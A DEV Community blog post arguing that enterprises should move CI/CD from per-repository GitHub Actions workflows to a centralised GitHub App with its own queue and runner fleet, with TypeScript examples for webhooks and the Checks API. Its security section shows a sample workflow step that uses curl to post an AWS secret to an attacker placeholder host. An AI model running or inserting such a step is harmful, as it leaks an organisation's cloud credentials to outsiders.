DEV Community

Cover image for Why Tech Platforms Don't Use GitHub Actions: The Case for GitHub Apps and Centralized Runners at Scale
Alfonso José García Bañón
Alfonso José García Bañón

Posted on Originally published at labitcode.com

Why Tech Platforms Don't Use GitHub Actions: The Case for GitHub Apps and Centralized Runners at Scale

Originally published at labitcode.com

When a software team grows from 10 developers to 50, GitHub Actions feels like magic. You drop a .github/workflows/ci.yml file into your repository, define a few steps in YAML, and GitHub spins up an Azure-hosted virtual machine to build and test your code. There are no build servers to patch, no Jenkins masters to restart, and zero upfront infrastructure to maintain.

Fast-forward to an enterprise organization with 3,000 developers, 1,200 microservices, and high-frequency deployment cadences.

Suddenly, that same .github/workflows directory transforms into an operational quagmire:

  • Pipeline Drift Across Repositories: Even with "reusable workflows", platform teams spend hundreds of engineering hours opening pull requests across thousands of individual repositories just to bump a workflow version or apply a compliance patch.
  • Queue Saturation & Platform Outages: As engineering teams adopt AI-assisted coding tools, pull request frequencies surge exponentially. GitHub's shared hosted-runner scheduling engine frequently degrades, leaving hundreds of developers idling in runner queues.
  • The Self-Hosted Runner Trap: Organizations attempt to scale with Actions Runner Controller (ARC) on Kubernetes, only to discover that while compute is local, the orchestration control plane is still GitHub's closed backend. When GitHub's Actions API hiccups, self-hosted runners freeze.
  • Coarse Security Boundaries: Distributing sensitive deployment credentials and organization secrets into individual repository scopes increases the attack surface for supply chain breaches and script injections.

Have you ever wondered how developer platforms like Vercel, Railway, Supabase, or CircleCI handle CI/CD across millions of repositories without ever asking you to commit a .github/workflows/deploy.yml?

They don't use GitHub Actions. They use GitHub Apps combined with centralized event-driven orchestration on private infrastructure.

In this article, we dissect why large-scale engineering organizations are hitting the architectural ceiling of GitHub Actions, how the GitHub App architecture works under the hood, and how migrating to a centralized runner fleet delivers 10x faster builds, absolute governance, and zero workflow maintenance.


1. The Anatomy of GitHub Actions at Enterprise Scale

To understand why modern platforms avoid GitHub Actions for mission-critical ALM (Application Lifecycle Management), we must first analyze the fundamental flaws of the GitHub Actions execution model when deployed across thousands of repositories.

graph TD
    subgraph RepoSprawl["Decentralized Model: GitHub Actions Sprawl"]
        R1[Repo A: .github/workflows/ci.yml]
        R2[Repo B: .github/workflows/ci.yml]
        R3[Repo C: .github/workflows/ci.yml]
        R1 & R2 & R3 -->|Dispatches Jobs| GHControl[GitHub Actions Closed Orchestration Plane]
        GHControl -->|Queue Bottleneck| GHR[GitHub-Hosted / ARC Runners]
    end
    style RepoSprawl fill:#1e1b4b,stroke:#4338ca,stroke-width:2px,color:#fff

The Fallacy of "Reusable Workflows"

GitHub introduced Reusable Workflows (workflow_call) to reduce YAML duplication. While an improvement over copy-pasting 200 lines of YAML across repositories, reusable workflows suffer from a critical flaw: caller-side coupling.

Each repository must still maintain a "caller" workflow file:

# Inside microservice-auth/.github/workflows/pipeline.yml
name: Enterprise CI

on: [push, pull_request]

jobs:
  build-and-test:
    uses: my-org/shared-workflows/.github/workflows/standard-ci.yml@v2.4.1
    secrets: inherit
Enter fullscreen mode Exit fullscreen mode

Consider what happens when:

  1. A critical zero-day vulnerability is discovered in a build step or dependency scanner, requiring an immediate upgrade to @v2.5.0.
  2. A compliance mandate changes required status checks for SOC2 or ISO 27001.
  3. A rogue repository admin overrides inputs, modifies trigger conditions, or simply points to @v1.0.0 to bypass slow security gates.

To apply an atomic update, platform teams must orchestrate massive automated PR campaigns across thousands of repositories using custom scripts or bot accounts. You are left managing PR merges, broken branch protection rules, rebases, and merge conflicts.

This is not infrastructure-as-code; it is distributed configuration debt.

Closed Orchestration vs. Self-Hosted Illusions

A common enterprise response to GitHub-hosted runner latency is deploying self-hosted runners via Kubernetes (such as Actions Runner Controller, or ARC).

However, ARC only hosts the ephemeral execution container. The scheduler remains closed inside GitHub's infrastructure:

[Git Push] ➔ [GitHub Webhook Hub] ➔ [GitHub Internal Queue] ➔ [Long-Polling ARC Listener] ➔ [Pod Spin-up]
Enter fullscreen mode Exit fullscreen mode

When GitHub's Actions infrastructure suffers from API rate limits, database degradation, or webhooks backlog, your local Kubernetes cluster sits completely idle. The runners cannot poll jobs that GitHub's scheduler has failed to dispatch.


2. The Paradigm Shift: GitHub Apps + Centralized Orchestration

Platforms like Vercel and Netlify never ask you to manage a workflow file. When you push code or open a pull request, the platform detects your project, runs static analysis, executes tests, provisions preview environments, and reports status checks directly inside the GitHub Pull Request interface.

How is this accomplished? Through the GitHub App Architecture.

Centralized GitHub App Event-Driven Platform Architecture

Instead of scattering workflow files across repositories, the organization creates and installs a single GitHub App across all organization repositories.

How the GitHub App Model Works

  1. Zero-Touch Repository Setup: Application repositories contain zero workflow files (.github/workflows/ does not even need to exist).
  2. Event-Driven Webhook Ingestion: When a developer pushes code, merges a branch, or opens a pull request, GitHub sends an HMAC-SHA256-signed webhook payload directly to the platform's central API Gateway.
  3. Central State Machine & Queue: The gateway verifies the signature and dispatches the build job into a high-throughput queue (e.g., Temporal, AWS SQS, or Redis BullMQ).
  4. Dedicated Ephemeral Compute: Worker nodes running on private cloud infrastructure (Firecracker microVMs, Nomad, or Kubernetes) execute the build pipelines against warm, persistent NVMe caches.
  5. Real-Time Feedback via Checks API: The centralized worker interacts directly with the GitHub Checks API, creating rich check runs, posting annotations directly onto code diffs, and linking to dedicated observability dashboards.
sequenceDiagram
    autonumber
    actor Dev as Developer
    participant GH as GitHub Enterprise
    participant App as Central ALM Gateway
    participant Queue as Event Queue (Redis/Temporal)
    participant Fleet as Dedicated Runner Fleet
    participant Checks as GitHub Checks API

    Dev->>GH: git push origin feature/auth
    GH->>App: POST /api/webhooks (event: push, HMAC signed)
    App->>App: Verify HMAC-SHA256 signature
    App->>Checks: Create Check Run ("Security & Unit Tests" - In Progress)
    App->>Queue: Push Job Spec { commit, repo, installationId }
    Queue->>Fleet: Lease Job & Boot Ephemeral MicroVM
    Fleet->>Fleet: Mount Warm Cache & Run Build/Tests
    Fleet->>Checks: Update Check Run (Annotations, Diff Comments, Success)
    Checks-->>GH: Render Green Check & Annotations in PR UI

3. Implementation: Centralized ALM Orchestrator

Here are the fundamental building blocks of a centralized GitHub App orchestrator.

1. Ingesting Webhooks Safely

import { Webhooks } from "@octokit/webhooks";
import { Octokit } from "@octokit/rest";
import { createAppAuth } from "@octokit/auth-app";

interface PipelinePayload {
  repository: string;
  commitSha: string;
  installationId: number;
  branch: string;
}

const webhooks = new Webhooks({
  secret: process.env.GITHUB_WEBHOOK_SECRET!,
});

webhooks.on("push", async ({ payload }) => {
  const repository = payload.repository.full_name;
  const commitSha = payload.after;
  const installationId = payload.installation?.id;
  const branch = payload.ref.replace("refs/heads/", "");

  if (!installationId || commitSha === "0000000000000000000000000000000000000000") {
    return; // Ignore branch deletions
  }

  // Dispatch job to internal queue (Temporal / BullMQ / SQS)
  await dispatchPipelineJob({
    repository,
    commitSha,
    installationId,
    branch,
  });
});
Enter fullscreen mode Exit fullscreen mode

2. Communicating via the GitHub Checks API

export async function createPipelineCheck(payload: PipelinePayload) {
  const octokit = new Octokit({
    authStrategy: createAppAuth,
    auth: {
      appId: process.env.GITHUB_APP_ID!,
      privateKey: process.env.GITHUB_PRIVATE_KEY!,
      installationId: payload.installationId,
    },
  });

  const [owner, repo] = payload.repository.split("/");

  const check = await octokit.rest.checks.create({
    owner,
    repo,
    name: "Enterprise ALM / Compliance & Tests",
    head_sha: payload.commitSha,
    status: "in_progress",
    started_at: new Date().toISOString(),
    output: {
      title: "Running Enterprise Validation Suite",
      summary: "Initializing secure microVM runner and checking pipeline policies.",
    },
  });

  return { octokit, checkId: check.data.id, owner, repo };
}
Enter fullscreen mode Exit fullscreen mode

3. Posting Line-Level Annotations on Pull Requests

export async function completePipelineCheck(
  octokit: Octokit,
  owner: string,
  repo: string,
  checkId: number,
  failures: Array<{ path: string; line: number; message: string }>
) {
  const hasFailures = failures.length > 0;

  await octokit.rest.checks.update({
    owner,
    repo,
    check_run_id: checkId,
    status: "completed",
    conclusion: hasFailures ? "failure" : "success",
    completed_at: new Date().toISOString(),
    output: {
      title: hasFailures ? "Compliance & Test Failures Detected" : "All Checks Passed",
      summary: hasFailures
        ? `Found ${failures.length} issues that violate enterprise engineering standards.`
        : "Automated test suite, linting, and security scans completed successfully.",
      annotations: failures.map((f) => ({
        path: f.path,
        start_line: f.line,
        end_line: f.line,
        annotation_level: "failure",
        message: f.message,
        title: "Enterprise Quality Gate Violation",
      })),
    },
  });
}
Enter fullscreen mode Exit fullscreen mode

4. Head-to-Head: GitHub Actions vs. Centralized GitHub App

Dimension GitHub Actions (Standard Model) Centralized GitHub App Platform
Pipeline Governance Scattered across thousands of .github/workflows files. 100% centralized. Zero files in developer repositories.
Atomic Updates Requires thousands of PRs across repositories. Instantaneous. A single deployment updates the entire org.
Orchestration Resilience Dependent on GitHub's internal scheduler queues. Autonomous. Internal queues process jobs independently.
Caching Performance Slow network-bound cache downloads (actions/cache). Warm NVMe mounts & local daemon caches. Instant hits.
Credential Security Long-lived org secrets injected into runner processes. Short-lived tokens (1 hour) generated on-demand.
Developer Experience Generic console logs; scrolling through terminal dumps. Native GitHub Checks, line-level diff annotations.
Compute Cost at Scale Expensive per-minute pricing or idle self-hosted VMs. Optimized spot/bare-metal fleet, 5x to 10x lower cost.

5. Security & Isolation: Eliminating the Credential Blast Radius

In a standard GitHub Actions setup, secrets management is a constant headache. Even with organization-level secrets, developers can write workflow steps that echo secrets into build logs or network payloads:

- name: Compromised Step
  run: |
    curl -X POST https://attacker-endpoint.com/exfiltrate -d "$ORGANIZATION_AWS_SECRET"
Enter fullscreen mode Exit fullscreen mode

With a Centralized GitHub App Architecture, user code never touches deployment secrets:

  1. Isolation of Build vs. Deployment: The developer's test suite executes in an unprivileged, network-sandboxed microVM.
  2. No Ambient Credentials: The runner environment does not possess cloud deployment credentials.
  3. Promotion via Artifact Hashes: When tests pass, the centralized platform hashes the immutable artifact (SHA-256) and hands the deployment task to a secured, isolated deployment orchestrator that user code cannot touch.

Phased Transition Strategy

  1. Phase 1: Onboard Webhook Observability — Install a GitHub App across your organization to listen to push and pull_request events and mirror status checks.
  2. Phase 2: Centralize Security & Linting Gates — Move static analysis (SonarQube, Trivy, ESLint) out of .github/workflows and into the central gateway.
  3. Phase 3: Migrate Heavy Build & Test Suites — Migrate compute-heavy test suites to your dedicated fleet with warm, persistent caches.
  4. Phase 4: Deprecate Repository Workflows — Lock down repository permissions using GitHub Organization Rulesets.

Final Thoughts

GitHub Actions was a revolution in democratizing CI/CD for small projects. But treating a decentralized, repository-local YAML file as the holy grail of enterprise ALM is an architectural dead end.

By building on top of GitHub Apps, the Checks API, and dedicated execution infrastructure, you reclaim control of your engineering velocity, eliminate pipeline drift, and protect your enterprise secrets.


Enjoyed this article? Read more deep dives on modern platform engineering at labitcode.com.

Top comments (0)